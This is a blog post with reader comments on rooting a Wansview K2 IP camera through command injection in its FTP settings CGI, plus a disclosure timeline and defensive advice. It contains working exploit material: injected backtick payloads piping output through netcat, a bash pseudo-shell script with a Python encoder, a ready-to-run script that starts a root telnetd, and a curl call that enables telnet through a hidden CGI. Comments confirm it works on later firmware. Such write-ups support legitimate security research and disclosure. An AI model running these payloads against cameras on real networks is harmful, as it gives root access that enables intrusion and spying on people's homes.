This post is an introduction to penetration testing an IoT device. There are much more advanced toolkits available but this post details a “starting-from-scratch” approach that I took in order to re-familiarize myself with penetration testing. As long as you have a some amount of familiarity with Linux and common tools you should be able to follow along.
TLDR: Jump to the exploit code if you just want to get root on your camera.
Background
The cost of IP cameras has come down significantly and when I noticed one for sale on Amazon for 30 dollars I decided it was worth a purchase. In addition to adding another camera to my smart home setup (shout out to Home Assistant) I could have fun trying to hack the camera since cheap Internet of Things devices are notoriously insecure. The text on the product description page mentioned that the device wouldn’t work if your WiFi password contained the characters & or ‘ – this was a clear indication that the product may not be properly parameterizing values.
The camera used here is a Wansview K2. I imagine the issue is present on other Wansview cameras in the same family as well as clones.
Getting started
Once the initial set up using an Android or iPhone is complete the camera presents a web interface on the local network that can be used to configure the device. Looking through the various configuration pages revealed several pages that may be worth probing for command injection vulnerabilities.
It was also worth scanning to see what ports the device was listening on in case the device was running a known vulnerable service. This was not fruitful as the device appears to only listen on port 80.
Probing for command injection vulnerabilities
First, lets try setting the values of various parameters in the interface to characters that have special meanings in the shell:
Okay, great. The check on characters in performed client-side using JavaScript. Is it also performed server side? Using the Chrome developer panel, I was able to see that when you click “Save” the form is submitted using a GET request (which is bad – GET shouldn’t be used to update parameters on the server…) to this URL:
http://192.168.1.212/hy-cgi/ftp.cgi?cmd=setftpattr&ft_server=server&ft_port=8000&ft_username=test&ft_password=test&ft_dirname=./
Now lets try putting that special character in the URL and see if the server checks for it:
Hmm. “Error: CallServer failed”. Does this mean the server refused to accept our input? Let’s reload the FTP settings page to see if it stored the value we sent:
Interesting! All of the field values have been replaced with “[object HTMLInputElement]”. I imagine this is because the JavaScript that fills in the form values was broken by the inserted ‘ character. Next I tried setting the Username field to have the value ‘`whoami`’. The idea behind this is that I imagine that behind the scenes the server is passing the arguments from the form to a command as such:
setup_ftp -a ‘server_address’ -p ‘port’ -u ‘username’ -p ‘password’
Therefore, by including the single quote we break out of that. The `whoami` attempts to run “whoami” and fill in the value. The shell evaluates anything inside of backticks (`) as a command and executes it and then places the resulting output text in place of the original backtick-quotes text. Normally quoting arguments with single quotes prevents that behavior and forces the backticks to be interpreted literally. That is why we include the single quote first. The last single quote is included to match the existing closing single quote. So we are expecting the server to run something like this (note that those are not double quotes – they are two adjacent single quotes):
setup_ftp -a ‘server_address’ -p ‘port’ -u ”`whoami`” -p ‘password’
Ideally when we reload the FTP page we will see the result of the Linux “whoami” command in the username field. Unfortunately all we see is all fields filled in with the “[object HTMLInputElement]” value.
Lets get clever
We’ve encountered our first minor set-back. From the behavior of the server, it appears that we are doing something we shouldn’t be able to when we send FTP usernames with single quotes. It is even possible that our injected shell command is running but if we can’t see the output how will we take advantage of this? If you look again at the FTP page you can see there is a “Test” option. If we set up a honeypot FTP server that logs all connection attempts, and inject a command into the username field perhaps our fake FTP server will get to see the command output. To set up our fake FTP server lets just listen on the port we specified in the FTP configuration using netcat. The command used to do this is “nc -l 8000”. (My machine name on the local network is “server”.)
When we click “Test” this is what we see:
Hmm. This frustrated me for a while. After taking a break to clear my thoughts I realized that the camera might be waiting for the FTP server to identify itself before sending the username. Looking into the FTP protocol more I see that indeed the server begins the connection. So now lets repeat but have my server send a brief FTP header before listening for the camera to send the username. Here is the text I used to emulate an FTP server:
220-FTPSERVE at machine_name, hh:mm:ss CST day mm/dd/yy machine_name username:
I then ran netcat again like such “nc -l 8000 < fake_ftp” where the file “fake_ftp” contains the string above.
Here is what we see:
Success! Rather than send the “username” which we submitted
‘`whoami`’
the server sent the result of the whoami command! Furthermore, the web server is running as root. This is going to be easy. At this point we have the ability to do arbitrary remote code execution by using command injection on the username field of the FTP configuration page and then pressing the “Test” button while running netcat in order to view the output.
We can do better
It’s nice that we’ve got our foot in the door, but it would be nicer to get an actual shell on the camera. I attempted to initialize a number of reverse shells and even went so far as to attempt to cross-compile a C reverse shell for ARM. Unfortunately all of these efforts were fruitless. Finally I realized that rather than running the fake FTP server I could just pipe my commands on the camera into nc to send the results back to the server. So for example, on the server I would run
nc -l 8000
and the magic string to inject as the username would be
‘`whoami | nc server 9000`’
I developed a simple script that would update the FTP settings, open a netcat terminal listening on port 9000, and then send the GET request to the camera that triggers the FTP “Test”. The camera fails to connect to the FTP server but we don’t care because our command still gets executed and the results sent back to us on port 9000. That script served the purpose of emulating a shell on the device.
I’m including it here for reference but keep reading because I came up with a better solution:
#!/bin/bash cam_ip=192.168.1.x username=admin passwd=123456 attacker=server while [ 1 ] do # Pretend like this is a real terminal echo -n '$ ' # Update the FTP settings curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=setftpattr&ft_server=$attacker&ft_port=21&ft_username=u$(./encode.py $attacker)&ft_password=p&ft_dirname=./" -s > /dev/null # Trigger the results to get sent back curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=testftp" -s > /dev/null & # Start listening for the results. This should really be before the previous request, # but since our computer runs faster than the camera can connect it works fine. nc -l 9000 done
In order for it to work you also need the following python script saved as “encode.py” and executable:
#!/usr/bin/env python2 import sys import urllib print urllib.quote("""'"`%s`"'""" % (raw_input().strip() + " | nc "+ sys.argv[1] + " 9000"))
We can still do better
Now that I had a basic shell I began poking around the camera. It contains a simple ARM chip (the Grain-Media GM8136 series which is an ARM v5 chip) and among other things, busybox to emulate the standard linux utilities. Furthermore, I was able to determine that the busybox implementation of the telnet daemon was present. At this point all we need to do is start the daemon and then we should be able to connect and have a real shell. Using the tool I developed above, I started telnet by running “/usr/sbin/telnetd” using the method described above. At this point there is a real telnet shell listening on the camera for us to connect to:
Exploit code
UPDATE: Since the original posting, others have discovered (see the comments) that there is a CGI method which can be called to turn on the camera’s telnet daemon without needing to perform an RCE. It is more straightforward than the code below, which is still available for reference. If all you care about is getting a shell, then just run the following command, making sure to substitute your username, password, and camera IP where appropriate, and then connecting to the camera using telnet (also described below).
curl --digest -u admin:123456 -X GET "http://192.168.1.xxx/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1"
If you read all of this and you just want the easiest way to get root on your camera, use this script (edit in your username, password, and camera IP in the script):
#!/bin/bash cam_ip=192.168.1.x username=admin passwd=123456 echo "Using shell injection to start telnetd on camera..." curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=setftpattr&ft_server=127.0.0.1&ft_port=9000&ft_username=u%27%22%60killall%20telnetd%3B%20/usr/sbin/telnetd%20-l/bin/sh%60%22%27&ft_password=p&ft_dirname=./" -s > /dev/null # Trigger the camera to execute our injected shell code curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=testftp" -s > /dev/null rc=$?; if [[ $rc != 0 ]]; then echo "Error..."; exit $rc; fi echo "Success!" echo "To connect run: telnet "$cam_ip
After running the script just run “telnet cam_ip” to connect to your camera using telnet.
Caveats
There are a few caveats here. First of all, in order to access the web interface you need a valid username and password. This prevents you from getting access to cameras for which you do not have the password, unless the owner never changed the default password. In reality, a large percent of people fail to change the default password. Nevertheless they are only vulnerable to this exploit if the attacker is on their LAN.
Future avenues of exploration
- Thorough investigation of the camera system leads me to believe that there is no easy way to run this exploit without knowing the username/password. It is using an up to date version of lighttpd and the configuration is sensible. There are some other services running on the camera though and it is possible that one of them is exploitable through a buffer overflow or other c exploit. I plan on investigating further.
- I was able to dump the camera firmware. Investigating the firmware update routine it appears that updates are not cryptographically verified at all. This means that it is possible to modify the camera firmware to have persistent malware or spyware and flash it on the camera. If you were to give such a camera to someone even a manual reset would not remove the malware. Furthermore, if you detect any cameras with default username/password combos you could infect them as well.
How can I protect myself
Firewall off all IoT devices to prevent them from making ANY outbound connections. Then run Home Assistant or similar software inside of your LAN and have it connect to your cameras and IoT devices and export their functionality. I run Home Assistant behind an NGINX reverse proxy with username/password authentication so that I can access it outside the home without exposing it to the world.
Assume that all IoT devices are compromised.
Timeline
February 7th, 2017 – Discovered FTP command injection.
March 7th, 2017 – Sent initial e-mail to tech support asking for a security contact.
March 7th, 2017 – Received update from Wansview that they have fixed the issue in the newest firmware. (I had not yet reported the specific issue, just asked for a technical contact.)
March 7th, 2017- Responded that I was on the newest firmware.
March 8th, 2017 – Saw that this was independently discovered and disclosed elsewhere and as such released post publicly prior to vendor patch.
March 16th, 2017 – Emailed again to ask for a status update.
March 16th, 2017 – Received response that the issue had been passed along to software department. (I had still not reported the specific issue, only that there was one.)
August 9th, 2017 – Updated this post to include manufacturer details since this issue is still not resolved.
October 24th, 2018 – According to comments on this post, the vulnerability is still there on the newest firmware installed on just-purchased devices. 🤦
Just used on a Wansview clone.
Works great!
Latest firmware.
Hi,
On one of my cameras I’m seeing:
” All of the field values have been replaced with “[object HTMLInputElement]”
Do you know how to get the camera out of this state?
Thanks!
This happens when there is improper escaping of the injected fields. Did you copy the scripts on this page? If so, you may have accidentally omitted a quotation mark somewhere.
To fix it you can just set the value of the fields to whatever you want, and then click “Save”. If this is happening on the FTP settings page it isn’t something you need to worry about fixing; that text won’t cause any problems unless you are actually using the FTP feature.
This doesn’t work anymore
firmware: 00.20.01.0048P2
Thanks for the update, Ken. I presume the camera come with that firmware version? I can’t find a version online to flash to mine and inspect.
Confirmed working on a Q3 with firmware 00.10.01.0049P4! Thanks for the tip!
Hi Jon,
I can confirm that the hack still works on version 49 (received in that version).
Note that I found a quite interesting pastbin corresponding to apparently the Q3S, and there is an interesting command in there:
/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1
This enables the telnetd daemon without even having to bother with the hack anymore, and persist reboot!!!
BTW, I’m searching to get full control on my Q3 device, and the only things I could not get yet are:
– Exact pan & tilt control (ie goto precise position) or at least p&t value reading
– playing sound back to the camera without the wansview app!
If anyone has any info, it would be great! I asked wansview but they nicely point me back to their app of course…
Cheers
Hi,
do you think this is possible with this Camera to https://www.amazon.fr/Wansview-Surveillance-Ext%C3%A9rieur-S%C3%A9curit%C3%A9-Nocturne/dp/B075KH5G17
It’s a Wansview 720p W3
I running in trouble with the Video Link which is http://admin:123456@192.168.1.2/mjpeg/snap.cgi?chn=2 but for several circumstances I need http://admin:123456@192.168.178.24/auto.jpg or /auto.mjpg or similar.
Important is the ending whit .jpg . mjpg etc…
The Camera itself is great but not usable whit this weird link.
Best Theo
Quick question……I was able to get the Telnet service started and get the shell. However, it looks like a lot of interesting CGI scripts are located in the /hy-cgi directory. I can’t seem to find this directory (or any of the CGI scripts inside of it) once I have the the shell.
To Chris
There are no cgi scripts, they are built in a executable.
-rwxr-xr-x 1 root root 24996 Sep 30 2015 config.cgi
-rwxr-xr-x 1 root root 4760 Sep 30 2015 custom.cgi
-rwxr-xr-x 1 root root 245552 Jun 26 2017 hyipc.cgi
-rwxr-xr-x 1 root root 7280 Jun 26 2017 mjpgstream.cgi
Its a C program:
Some examples of strings hyipc.cgi:
var ma_server=’%s’;
var ma_port=%d;
var ma_authtype=%d;
var ma_logintype=%d;
var ma_username=’%s’;
var ma_password=’%s’;
var ma_from=’%s’;
var ma_to1=’%s’;
var ma_to2=’%s’;
var ma_to3=’%s’;
var ma_to4=’%s’;
var ma_to5=’%s’;
var ma_to6=’%s’;
var ma_subject=’%s’;
getnetattr
setnetattr
gethttpport
sethttpport
getrtspport
setrtspport
getrtspauth
setrtspauth
getinterip
getupnpattr
var ft_server=’%s’;
var ft_port=%d;
var ft_username=’%s’;
var ft_password=’%s’;
var ft_dirname=’%s’;
getftpattr
setftpattr
testftp
testftpresult
var sustime=%d;
var ircutstatus=’close’;
var ircutstatus=’open’;
ERROR: retvalue=’%d’
About the telnet status:
the strings are present in the hy-cgi binary:
strings hyipc.cgi | grep telnet
killall telnetd
/usr/sbin/telnetd
settelnetstatus
gettelnetstatus
This works} curl –digest -u user:pass “http://X.X.X.X/hy-cgi/factory_param.cgi?cmd=gettelnetstatus”
var enable=0;
I have changed the startupscripts to have a permanent telnetd aemon.
Also i have changed some webpages. Works great.
Fast hack
% curl -digest -u admin:123456 “http://192.168.0.23/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1
power off/on camera
% telnet 192.168.0.23
Trying 192.168.0.23…
Connected to w7jcm.
Escape character is ‘^]’.
/ # cat /tmp/version
v2.3
HuangCanping@softSVN
2018-04-09 19:59:40
Camera was just received from amazon few days ago.
Any tips on dumping/updating the firmware? I’ve dd’d the partitions off onto an nfs, but I assume it’s not just going to be as easy as dd’ing them back. Must I use the flashcp included and is there more to it I’m not seeing yet? I’m pretty new to this but there are a few distinct things I’d like to change.
It’s a Wansview W3 purchased off amazon early June 2019. Firmware 00.10.01.0049P4
It’s been a while since I looked at this, but you may not be able to use the flashcp command as is – at least on mine, it looks to where an SD card would be mounted in order to pull in the files to flash from.
I believe it is just a bash file, and it probably does just dd the partition, but with a few preparation/cleanup steps added. I’m very interested to hear back if you get it working.
Hi all.
I’ve tried the curl injections directly from terminal (without the long procedure), all the ones reported into the posts above with no luck.
I obtain:
401 – Unauthorized
401 – Unauthorized
My IP and pwd are ok. I’ve checked the quotes but nothing.
Trying with browser, I obtain “Success”. I reboot the cam but no telnet port 23 I mean).
My Wansview W3 data:
fw: 00.10.01.0049P4 (2018-03-23 14:43) is the same of yours?
webUI fw: 0.7.4.21
Tnx in advance for any tip.
Hey Christian,
I had to modify the direct curl command slightly to get it to work on my cameras. Try this (with the appropriate substitutions):
curl --digest -u admin:123456 -X GET "http://192.168.1.xxx/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1"
Cheers,
Jon
Has anyone had any luck with the new “cloud” versions? I have a W3S “cloud” version, it shows it still has port 80 open but get a “403 Forbidden” when browsing to it and the above strategies don’t work:
$ curl –digest -u admin:123456 -X GET “http://192.168.0.56/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enabled=1” -s
404 Not Found
404 Not Found
$ nmap 192.168.0.56
Starting Nmap 7.01 ( https://nmap.org ) at 2019-12-19 11:12 MST
Nmap scan report for IPC.domain (192.168.0.56)
Host is up (0.018s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
65000/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
Thanks!
Apologies, it’s a K3 camera, not W3. But still, the difference is that it’s “cloud” – so no ONVIF support unfortunately.
Worked great for me…Thanks for the excellent writeup.